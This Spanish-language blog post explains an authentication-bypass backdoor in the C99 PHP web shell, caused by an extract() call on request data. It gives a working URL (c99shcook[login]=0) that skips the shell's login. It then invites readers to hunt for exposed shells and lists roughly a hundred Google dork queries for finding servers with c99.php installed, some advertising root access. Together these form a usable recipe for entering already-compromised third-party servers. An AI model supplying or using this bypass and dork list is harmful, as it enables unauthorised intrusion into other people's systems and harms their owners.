¿Está el shell C99? - Sí, pase, pase...

Si eres de los que va dejando "niditos de amor" en servidores web vulnerables con el shell C99.php, que sepas que esas pequeñas puertecitas están abiertas también para todo aquel que quiera entrar.

Matthew Bryant nos recuerda que el shell C99 tiene un backdoor debido a una vulnerabilidad en el comando extract():

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg         = "#FFFFFF";
$highlight_comment    = "#6A6A6A";
$highlight_default    = "#0000BB";
$highlight_html       = "#1300FF";
$highlight_keyword    = "#007700";
$highlight_string     = "#000000";
 
@$f = $_REQUEST["f"];
<strong>@extract($_REQUEST["c99shcook"]);</strong>
 
//END CONFIGURATION
 
//                 \/    Next code isn't for editing    \/
$tmp = array();

Esta línea permite sobrescribir cualquier variable usando un array:

@extract($_REQUEST["c99shcook"]);

Por lo que si echamos un vistazo al siguiente código:

 ($login) {
    if (empty($md5_pass)) {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
        if ($login_txt === false) {
            $login_txt = "";
        } elseif (empty($login_txt)) {
            $login_txt = strip_tags(ereg_replace(" |<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}

Podemos cambiar la URL a:

http://127.0.0.1/c99.php?c99shcook[login]=0  

y adiós a la autenticación!!

Esto por supuesto podemos hacerlo también mediante una petición POST o mediante una cookie.

Ahora abre los ojos, mira a Internet al son de Google Dorks y descubrirás la cantidad de puertas que otros dejaron abiertas...

safe-mode: off (not secure) drwxrwxrwx c99shell
inurl:c99.php
inurl:c99.php uid=0(root)
root c99.php
"Captain Crunch Security Team" inurl:c99
inurl:c99.php
allinurl: c99.php
inurl:c99.php
inurl:"c99.php" c99shell
inurl:c99.php uid=0(root)
c99shell powered by admin
c99shell powered by admin
inurl:"/c99.php"
inurl:c99.php
c99 shell v.1.0 (roots)
inurl:c99.php
allintitle: "c99shell"
inurl:"c99.php
allinurl: "c99.php"
inurl:c99.php
intitle:C99Shell v. 1.0 pre-release +uname
allinurl: "c99.php"
inurl:c99.php
inurl:"c99.php" c99shell
inurl:"/c99.php
inurl:/c99.php+uname
allinurl:"c99.php"
inurl:"c99.php"
allinurl:c99.php
"inurl:c99..php"
c99shell [file on secure ok ]?
powered by Captain Crunch Security Team
allinurl:c99.php
"c99.php" filetype:php
allinurl:c99.php
inurl:c99.php
allinurl:.c99.php
"inurl:c99.php"
c99. PHP-code Feedback Self remove
allinurl:c99.php
download c99.php
allinurl:c99.php
inurl:c99.php
allinurl: "c99.php"
intitle:C99Shell v. 1.0 pre-release +uname
allinurl:"c99.php"
inurl:c99.php
safe-mode: off (not secure) drwxrwxrwx c99shell
c99.php download
inurl:c99.php
c99shell filetype:php -echo
inurl:"c99.php"
inurl:c99.php uid=0(root)
allinurl:c99.php
inurl:"/c99.php" intitle:"C99shell"
C99Shell v. 1.0 pre-release build #5
--[ c99shell v. 1.0 pre-release build #16
c99shell linux infong
C99Shell v. 1.0 pre-release build
!C99Shell v. 1.0 beta!
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
!c99shell v. 1+Safe-mode: OFF (not secure)
"C99Shell v. 1.0 pre-release build "
intitle:c99shell +filetype:php
inurl:c99.php
intitle:C99Shell v. 1.0 pre-release +uname
intitle:!C99Shell v. 1.0 pre-release build #16! root
!C99Shell v. 1.0 pre-release build #5!
inurl:"c99.php"
C99Shell v. 1.0 pre-release build #16!
intitle:c99shell intext:uname
allintext:C99Shell v. 1.0 pre-release build #12
c99shell v. 1.0 pre-release build #16
--[ c99shell v. 1.0 pre-release build #15 | Powered by ]--
allinurl: "c99.php"
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
"c99shell v 1.0"
ftp apache inurl:c99.php
c99shell+v.+1.0 16
C99Shell v. 1.0 pre-release build #16 download
intitle:c99shell "Software: Apache"
allinurl: c99.php
allintext: Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove
intitle:c99shell uname -bbpress
intitle:"index.of" c99.php
inurl:admin/files/
intitle:"index of /" "c99.php"
intitle:"index of" intext:c99.php
intitle:index.of c99.php
intitle:"index of" + c99.php
intitle:index/of file c99.php
intitle:index/of file c99.php
index of /admin/files/
intitle:"Index of/"+c99.php
c99.php "intitle:Index of "
intitle:index.of c99.php
img/c99.php
intitle:index.of c99.php
img.c99.php
intitle:"Index of/"+c99.php
"index of /" c99.php
c99.php
intitle:"Index of" c99.php
"index of" c99.php
"Index of/"+c99.php